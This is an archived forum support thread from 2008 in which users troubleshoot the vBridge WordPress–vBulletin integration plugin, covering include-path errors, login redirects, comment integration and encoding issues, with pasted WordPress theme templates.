10-01-2008, 07:53 PM
hmm , well im not sure where i went wrong.. but whenever i Try to post in WP i get a BLANK page, any ideas?
The Error I get on my error log is :
PHP Fatal error: main() [<a href='function.require'>function.require</a>]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php') in /home/MYUSER/public_html/xtrato.com/wp/wp-content/plugins/vbbridge.php on line 92
Thank you all.
MattFord
10-01-2008, 08:35 PM
You need to access WP by logging into your forum (with the vbbridge plugin activated) with a user that is an administrator (providing you mapped the administrator group properly). Make sure you check the box in VB to stay logged in. Then go to the wp-admin page directly. If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.
Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.
This is a huge contradiction. The user must be an admin and be mapped, but can't exist in both systems. Can you explain how that would be set up? If I create an admin on wordpress named bill, I can't login by your instructions unless I also have a forum user named bill... but your instructions conclude by saying that will create a problem. We need a visual here...
Xtrato
10-02-2008, 01:11 AM
I have tried so many path's relative ,absolute , etc , none seem to work what soever , should i use the one from my PHP Info scrip?
please advice as it seems no path i put in there works.
Regards
PS: when i tried the best possible solution the error went away, however When i tried to post , i get a blank page , The error i get on my log is the fallowing:
PHP Fatal error: main() [<a href='function.require'>function.require</a>]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php') in /home/(MYUSER)/public_html/xtrato.com/wp/wp-content/plugins/vbbridge.php on line 92
krike
10-02-2008, 04:21 AM
hmm , well im not sure where i went wrong.. but whenever i Try to post in WP i get a BLANK page, any ideas?
The Error I get on my error log is :
PHP Fatal error: main() [<a href='function.require'>function.require</a>]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php') in /home/MYUSER/public_html/xtrato.com/wp/wp-content/plugins/vbbridge.php on line 92
Thank you all.
you have to hardcode the path (it's in the first post), like jafo told me... cause I have the same problem (even after harcoding the path)
Xtrato
10-02-2008, 12:31 PM
you have to hardcode the path (it's in the first post), like jafo told me... cause I have the same problem (even after harcoding the path)
Course i did that already, i looked trough the topic , hardcoded all possible paths known to me , yet i still get a blank page, EVEN when the this hack is OFF , yet , "ACTIVATED" i get blank pages after creating new PAGES ,or POSTS , not sure what the problem might be , w.p 2.5 etc, with vb 3.7.X .
So i have tried what most people have suggested here . Hope anyone can help us here .
Thank you guys for your great efforts!
Xtrato
10-03-2008, 10:42 PM
i continue to battle here , yet all have failed , if anyone has a good suggestion it would be greatly appreciated.
echamberlain
10-04-2008, 12:15 AM
i continue to battle here , yet all have failed , if anyone has a good suggestion it would be greatly appreciated.
The directory for ./includes/class_dm.php is set by
chdir($_SERVER['DOCUMENT_ROOT'] . get_option('vbb_VBRPATH'));
If those variables don't match your vBulletin path, then class_dm.php won't be found.
What is the absolute path to vBulletin on your system?
Our wordpress is at: /home/wordpress/public_html
And vBulletin is at: /home/vbulletin/public_html
So we don't have $vwd set, since the variable is not used everywhere it should in vbridge.php. Instead, on the Vbridge settings page, we have our Forum Relative Path set to: ../../vbulletin/public_html/ so wordpress can find the vbulletin files which are located in a different document root.
Bexter
10-04-2008, 07:40 AM
Hmmm, changed the theme and tried editing, but my problem is back :(
I edit the template, and get this error
Parse error: syntax error, unexpected $end in /home/ggnet/gamerstyle/wp-content/themes/mandigo/single.php on line 204
I kept going through it to each line, and then it just ends on the last line and it's unexpected end :confused:
I don't think it likes the template at all to be honest, I replaced the code for the main page (thats the single page thats causing the error) and the comments image is still there, the other text removed, but the vbulletin comments text no where to be seen :(.
The wordpress theme I'm using is mandigo.
Xtrato
10-04-2008, 12:40 PM
hi Avatarechamberlain , thank you for your input ,
my absolute path to vB is :
/home/MYUSER/public_html/xtrato.com/wp/forum/
/home/MYUSER/public_html/xtrato.com/wp/
i have tried so many things with the paths , just cant seem to get them working , sometimes it seems to work but i get an error that says global cannot be found , and such .
Very weird
Xtrato
10-05-2008, 01:20 AM
well i made some tests on another account it works well there , just not on my main domain , the reasons might be that the path's are a bit different, the other one i have two domains under one account... not sure if that is a big problem.
Regards
MattIS
10-05-2008, 05:56 AM
Posts fine to VB but posts wont display in Wordpress what is going on? Once deactived posts show up in wordpress, active i get some template hook message and a message saying no posts in blog.
MattIS
10-05-2008, 06:31 AM
Fixed the above now my posts are being cut off any ideas?
krike
10-05-2008, 06:32 AM
well i made some tests on another account it works well there , just not on my main domain , the reasons might be that the path's are a bit different, the other one i have two domains under one account... not sure if that is a big problem.
Regards
I think I have the same problem. cause my path is completely different.. doesn't have public_html but httpdocs etc... does it make a difference?
vividbreeze
10-05-2008, 07:23 PM
On the listed websites I noticed that the posts from the forum went to the blog.
But, can the posts from the WP Blog go into the thread inside the forum!??
(I didnt see any new blog comments inside the forum thread....)
Xtrato
10-06-2008, 12:35 PM
i got like 20$ for anyone who can help me on this , really , i just cant seem to get it right.
pvt me please.
bkm_mahdi
10-06-2008, 01:45 PM
Thank you!
DJScorpio
10-07-2008, 03:50 PM
im still aving issues with the whole admin login problem! i cant login after installing this... can anyone run me thru it . getting redirected to forum
MattIS
10-07-2008, 06:03 PM
i got like 20$ for anyone who can help me on this , really , i just cant seem to get it right.
pvt me please.
Do you have word press and VB in the same folder? It just looks that way from your paths.
ShawneyJ
10-08-2008, 09:43 AM
Yeah several days later lol. Nah I only spent time yesterday trying to fix it so the other days don't count :).
The code to replace to use vb for comments though doesn't work for me :(.
What was your problem you experienced?
i got a path error even tho the path was fully correct lol.
honestly the hole this is shit and belongs in the grave yard :D
put it to rest lol.
i did get more errors but i installed perfect as said in read me.
citricguy
10-08-2008, 10:29 AM
thank you for this mod.
Including the gobal.php file was critical to my site!
Thank you for all you've done.
MattIS
10-08-2008, 05:18 PM
i got a path error even tho the path was fully correct lol.
honestly the hole this is shit and belongs in the grave yard :D
put it to rest lol.
i did get more errors but i installed perfect as said in read me.
I was getting path errors as well. I took out everything but the /forums (where my forum is located) and it worked properly. I did it the instruction way and got some errors.
shoemeister
10-08-2008, 10:38 PM
I'm not sure if I missed it, but is there anyway for the Wordpress posts to link to separate subforums within the vBulletin?
I'd like to organize my posts using the tags, with each tag being a separate subforum within my board. Thanks for any help.
4x4 Mecca
10-10-2008, 03:01 AM
Hey there! Thanks so much for this mod! Just what I was looking for. I have 2 questions.
1. If I enable this mod, I can not use Flexible Upload (http://nerdtainment.de/2008/08/flexible-upload-fixed-for-wp26/), they clash with each other. (you can read it in english and download it is you scroll down)
2. Any plan on adding an option to select a thread prefix? So when it posts to the forum it can have a prefix that I chose while I was writing it.
vividbreeze
10-11-2008, 02:21 AM
When you are sharing posts with blog posts, you have the SAME content....is this bad in Googles eyes - by having the same content in 2 locations of your website??
4x4 Mecca
10-11-2008, 05:34 AM
well the forum post actually only has a snippet of the actual blog post. 250 characters or so is a good number if you are worried. I don't know how google views it though.
krike
10-11-2008, 05:54 AM
I found something that might be usefull. This guy used this plugin but also had problems with the path so he hardcoded all the paths (so need to make a few modifications).
I'm testing it right now, thought I might share it ;)
http://www.mikechick.net/2007/12/complete-wordpressvbulletin-bridge/
gamerzhope
10-12-2008, 04:03 PM
that linked helped alot.....
the only problem i have is that im trying to use the comment system
but i looked in WP temps index.php, single.php, page.php.
im using WP Premium News theme...
and none of that stuff it as to look up is there O.O
any suggestions :S
P.S
This is a great mod marked as installed of course :)
Xtrato
10-13-2008, 03:11 PM
I found something that might be usefull. This guy used this plugin but also had problems with the path so he hardcoded all the paths (so need to make a few modifications).
I'm testing it right now, thought I might share it ;)
http://www.mikechick.net/2007/12/complete-wordpressvbulletin-bridge/
This should be implemented in the actual script, it su re helps a million..
Only having problems with using vB as the comment takeover
Cobro
10-13-2008, 11:27 PM
cannot load D:/xampp/htdocs/global.php. You should check your path! i get this error when i turn every thing on ? can some one pla help me
Xtrato
10-14-2008, 01:55 PM
cannot load D:/xampp/htdocs/global.php. You should check your path! i get this error when i turn every thing on ? can some one pla help me
had you read the previous posts this may have helped.. and i have a feeling your problem is not as deep, as to needing the fallowing Link to fix it..
http://www.mikechick.net/2007/12/complete-wordpressvbulletin-bridge/
Unless you find yourself really concerned about your paths... keep trying the suggestions here.
Deidre
10-18-2008, 10:48 AM
I saw it says it's for 3.7.0, does it work with 3.7.3?
Also, can we integrate more than one wordpress blog with the same forum?
Chances are, this will not work when VB and Wordpress are located in different sub domains. I.E. forum.yoursite.com - blog.yoursite.com. Cookie issue.
Will it work when your forum is on a subdomain but your blog is in the root directory of your domain?
guvner
10-18-2008, 06:25 PM
I saw it says it's for 3.7.0, does it work with 3.7.3?
Yes - I run WP 2.6 with VB 3.7.3
Also, can we integrate more than one wordpress blog with the same forum? Again yes - I'm running 2 WP installations attached to 1 VB install with each WP install posting to different forums.
Will it work when your forum is on a subdomain but your blog is in the root directory of your domain? Sorry - don't know that one so I'll leave it for someone ele.
Mike :)
Deidre
10-19-2008, 05:43 PM
Thanks so much "guvner"
Again yes - I'm running 2 WP installations attached to 1 VB install with each WP install posting to different forums.
Know if there is any limit to how many we can integrate.... I mean could it cause problems, if I try it with like 5 or 6 of them?
profanitytalker
10-20-2008, 08:21 AM
reserved
steveneff
10-20-2008, 01:07 PM
Very nice mod, thank you.
vBulletin 3.7.3 PL1 - Wordpress 2.6.2
When I try to log in using the sidebar widget login, it takes me to the forum home, not the login page. (I'm also using Deluxe vB User login (https://vborg.vbsupport.ru/showthread.php?t=173698)so I am still able to login)
When I log out, the vBulletin logout page redirection to previous page takes me to the forum home rather than the blog.
Is there a fix for these problems or have I made an error somewhere?
Just a thought: As the Deluxe vB User login also calls global.php (first), should I remove it from this mod?
Solitary Seraph
10-20-2008, 02:50 PM
For the login bit, you have to login to whatever you have your set up as.
so if you use http://demo.com/forum then you have to login there.
Works great, for me, except for some dumb reason (on my part) when I post to the forum it puts /wp/entry/95-%postname%.html rather than, you know, the actual post.
Thanks a lot for this mod, very helpful!
GoodOmens
10-21-2008, 06:17 PM
Fixed the above now my posts are being cut off any ideas?
This is due to a character encoding mismatch. I assume you are using ISO for wordpress.
In wp-config.php change the following lines:
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
to:
/*define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');*/
Wordpress will work just fine with those lines commented out.
vietfancy
10-23-2008, 02:28 AM
One quick question:
If we post on WP... the post will then show in forum. (done)
but if we post in the forum... should it be posted at wp page as well?
Jafo232
10-24-2008, 01:31 AM
No, they do not.
Xtrato
10-30-2008, 02:25 PM
hi , ok so i installed the plugin right , however when i activate this plug in , the END Slash disappears , as in ... mysite.com/wp/ becomes mysite.com/wp and images disappear .
is there a way i can fix this , i tried mod rewrite , but taht does not work ether
Thank you for the help!
Fallback
10-30-2008, 02:48 PM
This hack is GREAT and works perfectly except for one thing...
On category pages the posts in the listing do not have accurate comment counts. All posts are showing "0" comments even though they have comments. The comment counts are fine on the single posts and main page but not on category archives. Any ideas on how to fix this?
Toxist
11-05-2008, 09:38 PM
I downloaded this, but after reading the Problems, I think I will wait before installing it. It is a Clever idea, I just am not that Savvy on trouble shooting. Tks though.
Tigratrus
11-11-2008, 03:24 PM
But I can't seem to get the comment integration to function. our template has a comment.php that's almost certainly where the change from the readme needs to go, but everyway I've tried has broken it... It's a small file and I'm sure I'm just not splicing the change into the file right. comment.php looks like:
<?php // Do not delete these lines
if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie
?>
<p class="nocomments">This post is password protected. Enter the password to view comments.<p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = 'alt';
?>
<!-- You can start editing here. -->
<div id="commentblock">
<?php if ($comments) : ?>
<h4><?php comments_number('No Comments', 'One Comment', '% Comments' );?> on <?php the_title(); ?></h4>
<ol>
<?php foreach ($comments as $comment) : ?>
<div class="commentleft">
<li class="<?php echo $oddcomment; ?>" id="comment-<?php comment_ID() ?>">
<?php comment_author_link() ?> on
<?php if ($comment->comment_approved == '0') : ?>
<em>Your comment is awaiting moderation.</em>
<?php endif; ?>
<?php comment_date('D, jS M Y') ?> <?php comment_time() ?> <?php edit_comment_link('(Edit)','',''); ?><br />
<?php echo get_avatar( $comment, $size = '50', '' ); ?>
</div>
<div class="commentright">
<?php comment_text() ?>
</div>
<div style="border-bottom:1px dotted #999999; margin-bottom:20px; padding:0px 0px 10px 0px; clear:both;"></div>
</li>
<?php endforeach; /* end for each comment */ ?>
</ol>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">Comments are closed.</p>
<?php endif; ?>
<?php endif; ?>
<div style="clear:both;"></div>
<?php if ('open' == $post->comment_status) : ?>
<p id="respond"><b>Tell me what you're thinking... <br />and oh, if you want a pic to show with your comment, go get a <a href="http://en.gravatar.com" >gravatar</a>!</b></p>
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">logged in</a> to post a comment.</p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout »</a></p>
<?php else : ?>
<p><label for="name">Name <?php if ($req) echo "(required)"; ?></label><br />
<input type="text" name="author" id="name" value="<?php echo $comment_author; ?>" size="50" tabindex="1" /></p>
<p><label for="email">Email Address <?php if ($req) echo "(required)"; ?></label><br />
<input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="50" tabindex="2" /></p>
<p><label for="url">Website</label><br />
<input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="50" tabindex="3" /></p>
<?php endif; ?>
<!--<p><small><strong>XHTML:</strong> You can use these tags: <?php echo allowed_tags(); ?></small></p>-->
<p><label for="words">Speak your mind</label><br /><textarea name="comment" id="words" cols="40" rows="10" tabindex="4"></textarea></p>
<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" />
<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" /></p>
<?php do_action('comment_form', $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
<?php endif; // if you delete this the sky will fall on your head ?>
</div>
If you could show me where I've gone astray I'd be glad to paypal what you feel is a reasonable donation ;).
Awesome, awesome mod, you can see what we're doing with it here: http://www.ikeafans.com/blog/
James and Susan
Tigratrus
11-11-2008, 04:17 PM
Part of the problem seems to be something fundamental... As it usually is ;)
Everything in the configuration seems to be set up and working correctly, new entries are showing up in the designated vB forum as they should. Users logged into vB are able to access WP as they should and accounts are being created in the WP users correctly.
But when I create an entry logged into vB, the link to the author profile
<?php
if ($vbridge[id] > 0) {
?>
<a href=<?php echo get_option('vbb_VBURL') ?>/member.php?u=<?php echo $vbridge[thread_starter] ?>><?php the_author() ?></a>
<?php
}
else {
the_author();
}
?>
doesn't happen. Instead the else kicks in and I just get the author's name. If I force the evaluation by changing it to <?php
if (1 > 0) {
?>
<a href=<?php echo get_option('vbb_VBURL') ?>/member.php?u=<?php echo $vbridge[thread_starter] ?>><?php the_author() ?></a>
them I get a link: http://www.ikeafans.com/forums/member.php?u=
:confused:
Something's not quite right... I think I found where in the various files to add the Vbridge Replacement code for comments (not in comments.php :P ), but that doesn't work either. As you can tell I'm not really familiar with WP templates yet, but I think I'm close to getting everything to work, just have something simple that's not working.
Any assistance would be greatly appreciated and we'd be glad to donate appropriately. Thanks for such a great mod!
James and Susan
StevenTN
11-12-2008, 08:22 PM
I’m working on getting it installed (vb 3.7.3 + Wordpress 2.6.3).
I have the blog homepage taken care of in terms of noting the # of comments and directing them properly to the comment page. However, I am having problems with the single post page, where I want to be able to have it display the comments from the thread directly on the post, then offer to have the user post theirs by directing them to the forum.
Here’s an example of what I want (from the add-on example installs)…
http://www.jeffsrecipes.com/forum/showthread.php?t=2670
Our Wordpress staging area (it’s not live yet… trying to work out the kinks)…
http://www.thrillnetwork.com/wordpress/
Example post:
http://www.thrillnetwork.com/wordpress/13-blah-blah-blah#respond
Justin V
11-13-2008, 05:42 PM
Ok, so everything is working out for me. I'm just wondering how we can get our site to let you login from the main page as opposed to having to login from the forum. Right now, people have to login from the forum in order to leave comments.
AdjaniB
11-13-2008, 09:39 PM
I have 2 problems, first of all, i'm running vbulletin 3.7.3 Patch Level 1 and wordpress ver 2.6.3 and the problems are:
- When a user registers in vbulletin, it appears in wordpress, but 2 times! So I have 2 users with the same name/nick and everything in wordpress.
- A writer is trying to use the option of posting in the forum, he selects the forum but nothing happens in the forum.
Thanks.
ManagerJosh
11-26-2008, 08:56 AM
It seems like there's some issues here..
WordPress database error: [Unknown column 'vb_threadid' in 'field list']
select vb_threadid FROM posts where ID = '9'
star88
11-27-2008, 11:49 AM
thanks very much
* installed *:up:
MadsK
11-27-2008, 01:37 PM
Hi guys.
I've just bought vbulletin for a new project of mine where i want vbulletin and wordpress to work together.
So i've ofcourse come across this plugin but i have some questions i hope you guys can answer for me.
What i want is ONLY to have users synced. No post or comments. Just users. Is that possible with this plug in?
Will this plug in work with newer versions of both vbulletin and wordpress (with wp 2.7 coming up) (even though it seems it haven't been updated in over half a year).
Will this plugin be able to work with other wordpress comment altering plugins like the one from http://intensedebate.com?
Thanks for your time :)
llskipper
11-28-2008, 09:11 PM
I get this error
Warning: require_once(DIR/includes/functions_newpost.php) [function.require-once]: failed to open stream: No such file or directory in /home/***/public_html/forums/includes/class_dm_threadpost.php on line 18
Fatal error: require_once() [function.require]: Failed opening required 'DIR/includes/functions_newpost.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/***/public_html/forums/includes/class_dm_threadpost.php on line 18
I tried removing DIR but that does nothing.
Bradley_Wint
12-03-2008, 03:11 PM
Any idea if this works with 3.8 and the new WP 2.7 series?
Brandon Sheley
12-05-2008, 12:19 AM
it's working with vb3.7.3 and beta wp2.7 but I haven't gotten the comments working like I want yet :(
lord_of_chaos
12-06-2008, 04:01 PM
Do you have a fix for the problem, that users with umlauts in their nicknames can't use the blog? It have been mentioned in here, but no one answered.
Both, blog and forum are UTF-8, so this can't be the problem.
Wayne Luke
12-08-2008, 03:25 PM
it's working with vb3.7.3 and beta wp2.7 but I haven't gotten the comments working like I want yet :(
Could you elaborate more on the comments issue?
Ksb2050
12-09-2008, 03:16 PM
I don't seem to have the same strings in the Readme on my template for the comment system. Anyone wanna take crack at telling me what strings I'm suppose to replace?? I'd really appreciate it....
index.php
<?php get_header(); ?>
<div class="entry">
<?php if (have_posts()) : ?>
<?php $firstpostquery = new WP_Query('showposts=1'); ?>
<?php while($firstpostquery->have_posts()) : $firstpostquery->the_post(); $firstpost = $post->ID; ?>
<div class="post" id="post-<?php the_ID(); ?>">
<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
<small>Written by <?php the_author() ?> on <abbr title="<?php the_time('Y-m-dTH:i:sO'); ?>"><?php unset($previousday); printf(__('%1$s – %2$s'), the_date('', '', '', false), get_the_time()) ?></abbr> - <?php if(function_exists('the_views')) { the_views(); } ?> </small><br /><br />
<div class="line"></div>
<div class="postbg"><?php the_content('Read more »'); ?></div>
<br />
<?php the_tags('Tags: ', ', ', '<br />'); ?>Posted in <?php the_category(', ') ?> | <?php edit_post_link('Edit', '', ' | '); ?> <?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?><br />
<?php adsensem_ad('banner'); ?>
</div>
<?php endwhile; ?>
<?php endif; ?>
<?php if (have_posts()) : ?>
<?php $count=0; while (have_posts()) : the_post(); if(!($firstpost == $post->ID)) : ?>
<?php
### Vbridge Call
$vbridge = Comment_Handler($post->ID);
###
?>
<?php if($count % 2 == 0) echo '<div class="left">'; else echo '<div class="right">'; ?>
<div class="excerpt" id="post-<?php the_ID(); ?>">
<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h2>
<small><abbr title="<?php the_time('Y-m-dTH:i:sO'); ?>"><?php unset($previousday); printf(__('%1$s – %2$s'), the_date('', '', '', false), get_the_time()) ?></abbr> <!-- by <?php the_author() ?> --></small>
<div class="clear"></div>
<p><?php the_content_rss('', TRUE, '', 10) ; ?></p><div class="clear"></div>
<span class="smallies"><?php comments_popup_link('No Comments »', '1 Comment »', '% Comments »'); ?></span>
</div>
</div>
<?php if($count % 2 != 0) echo '<div class="clear"></div>';?>
<?php $count++; endif; ?>
<?php endwhile; ?>
<div class="navigation">
<div class="alignleft"><?php next_posts_link('« Older Entries') ?></div>
<div class="alignright"><?php previous_posts_link('Newer Entries »') ?></div>
</div>
<?php else : ?>
<div class="post">
<h2 class="center search">Atlantic Anime could not find anything!</h2>
<p class="center">Sorry, but you are looking for something that isn't here.</p>
</div>
<?php endif; ?>
</div>
<div>
<?php include (TEMPLATEPATH . '/topbar.php'); ?>
<div>
<?php include (TEMPLATEPATH . '/sidebar1.php'); ?>
<?php include (TEMPLATEPATH . '/sidebar2.php'); ?>
</div>
</div>
<br clear="all" />
<?php adsensem_ad('bottom'); ?>
<?php get_footer(); ?>
</div>
</body>
</html>
<!-- 60fe2dc8c122376d6564167ddb13db59mochiads.com -->
comment.php
<?php // Do not delete these lines
if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie
?>
<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = 'class="alt" ';
?>
<!-- You can start editing here. -->
<?php if ($comments) : ?>
<h3 id="comments"><?php comments_number('No Comments', 'One Comment', '% Comments' );?> to “<?php the_title(); ?>”</h3>
<ol class="commentlist">
<?php foreach ($comments as $comment) : ?>
<li <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
<?php comment_author_link() ?> Says:
<?php if ($comment->comment_approved == '0') : ?>
<em>Your comment is awaiting moderation.</em>
<?php endif; ?>
<br />
<small class="commentmetadata"><a href="#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> at <?php comment_time() ?></a> <?php edit_comment_link('edit',' ',''); ?></small>
<?php comment_text() ?>
</li>
<?php
/* Changes every other comment to a different class */
$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
?>
<?php endforeach; /* end for each comment */ ?>
</ol>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">Comments are closed.</p>
<?php endif; ?>
<?php endif; ?>
<?php if ('open' == $post->comment_status) : ?>
<h3 id="respond">Leave a Comment</h3>
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout »</a></p>
<?php else : ?>
<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" />
<label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label></p>
<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" />
<label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label></p>
<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
<label for="url"><small>Website</small></label></p>
<?php endif; ?>
<!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>-->
<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
<p><input name="submit" type="image" src="<?php bloginfo('template_directory'); ?>/images/submit_button.jpg" id="submit" tabindex="5"/>
<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
</p>
<?php do_action('comment_form', $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
<?php endif; // if you delete this the sky will fall on your head ?>
Fraik
12-11-2008, 07:21 AM
I am going to update to WP 2.7 now, and see how it works (Running vB 3,7,2)
vBulletin® v3.8.12 by vBS, Copyright ©2000-2025, vBulletin Solutions Inc.